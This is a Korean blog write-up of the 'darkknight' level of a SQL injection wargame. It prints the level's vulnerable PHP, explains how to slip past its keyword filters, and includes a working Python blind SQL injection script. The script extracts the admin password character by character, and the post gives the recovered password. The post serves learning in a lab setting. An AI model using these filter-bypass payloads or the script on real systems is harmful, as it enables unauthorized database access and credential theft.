일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- samp;e_frac()
- groupe_by()
- dplyr
- mutate()
- 대칭형 알고리즘
- distinct()
- filter()
- sample_n()
- AES
- proc contents
- select()
- arrange()
- summarize()
- Today
- Total
Gae Ko's Blog
los : darkknight 본문
[코드분석]
<?php
include "./config.php";
login_chk();
dbconnect();
↑DB와 연결하기 위한 코드
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe");
↑preg_match를 통해 필터링
$query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
↑쿼리실행
$_GET[pw] = addslashes($_GET[pw]);
↑addslashes함수 작동
$query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'";
$result = @mysql_fetch_array(mysql_query($query));
↑진짜 쿼리 실행
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight");
↑문제의 포인트
[내 풀이]
코드를 보니 맨 마지막에 GET방식으로 입력받은 pw값과 'admin'의 pw값이 동일해야 문제가 해결된다는데
이를 통해 이 문제는 Blind SQL injection 문제임을 알 수 있다.
preg_match를 통한 필터링부분을 보면
prob 와 _ 와 . 와 ( 와 ) 와 싱글쿼터 그리고 substr함수와 ascii함수와 등호가 들어간 no의 입력값은 필터링된다.
그리고 싱글쿼터가 들어간 pw의 입력값이 필터링된다.
즉 괄호대신 %28과 %29 을
등호를 사용하는 대신 a in (b) 방법을 사용하고
싱글쿼터를 이용해서 입력값을 넣는 방법 대신 문자열의 아스키코드를 사용해서 값을 넘긴다.
일단 Blind SQL injection 문제 기본적인 방법처럼
length함수를 이용해 id='admin'인 pw의 길이를 구하고
subsrt함수를 사용는 방법 대신 right 함수와 left함수를 이용해 pw의 정확한 값을 알아낸다.
그리고 ascii함수를 사용하지 않고 char함수를 이용하면 된다.
일단 한번 pw의 길이를 구해보았는데,
처음 실행쿼리를 보았을 때 and no= 앞까진 false 이므로 and부터 생각하면 되는데
no 조건 뒤에 id='admin' and length(pw)=8# 라는 조건을 붙이고 싶은데 admin의 정확한 no값을 모르니까 no에 아무런 값을 넣어주고 or 을 이용해 묶어준다.
그렇게 해주어서 하나씩 숫자를 넣어주면
▲ 위처럼 pw의 길이가 8임을 알 수 있다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | import urllib2, urllib, requests, time flag = '' length= 0 session = dict(PHPSESSID="vee4ea8c3gtsmr8vjn9skp6ur0") # find the length of PW for i in range(0, 20): try: r = requests.post("https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?no=1 or id in %280x61646d696e%29 and length%28pw%29 in %28"+str(i)+"%29%23", cookies=session) except: print "exception" continue if 'Hello admin' in r.text: #true length = i break print "[+] Length of admin pw : " + str(length) for j in range(1, length+1): for i in range(48, 126): try: r = requests.post("https://los.eagle-jump.org/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?no=1 or id in %280x61646d696e%29 and right%28left%28pw,"+str(j)+"%29,1%29 in %28char%28"+ str(i)+"%29%29%23 ", cookies=session) except: print "exception" continue if 'Hello admin' in r.text: flag = flag + chr(i) print "[+] finding pw : " + flag break time.sleep(0.1) print "[+] pw of admin : " + flag | cs |
이 코드를 실행해보면
결론 : id가 'admin'인 pw은 1c62ba6f
'웹해킹 > [los] Lord of SQL' 카테고리의 다른 글
los : giant (0) | 2017.08.17 |
---|---|
los : bugbear (0) | 2017.08.17 |
los : golem (0) | 2017.08.17 |
los : skeleton (0) | 2017.08.17 |
los : vampire (0) | 2017.08.17 |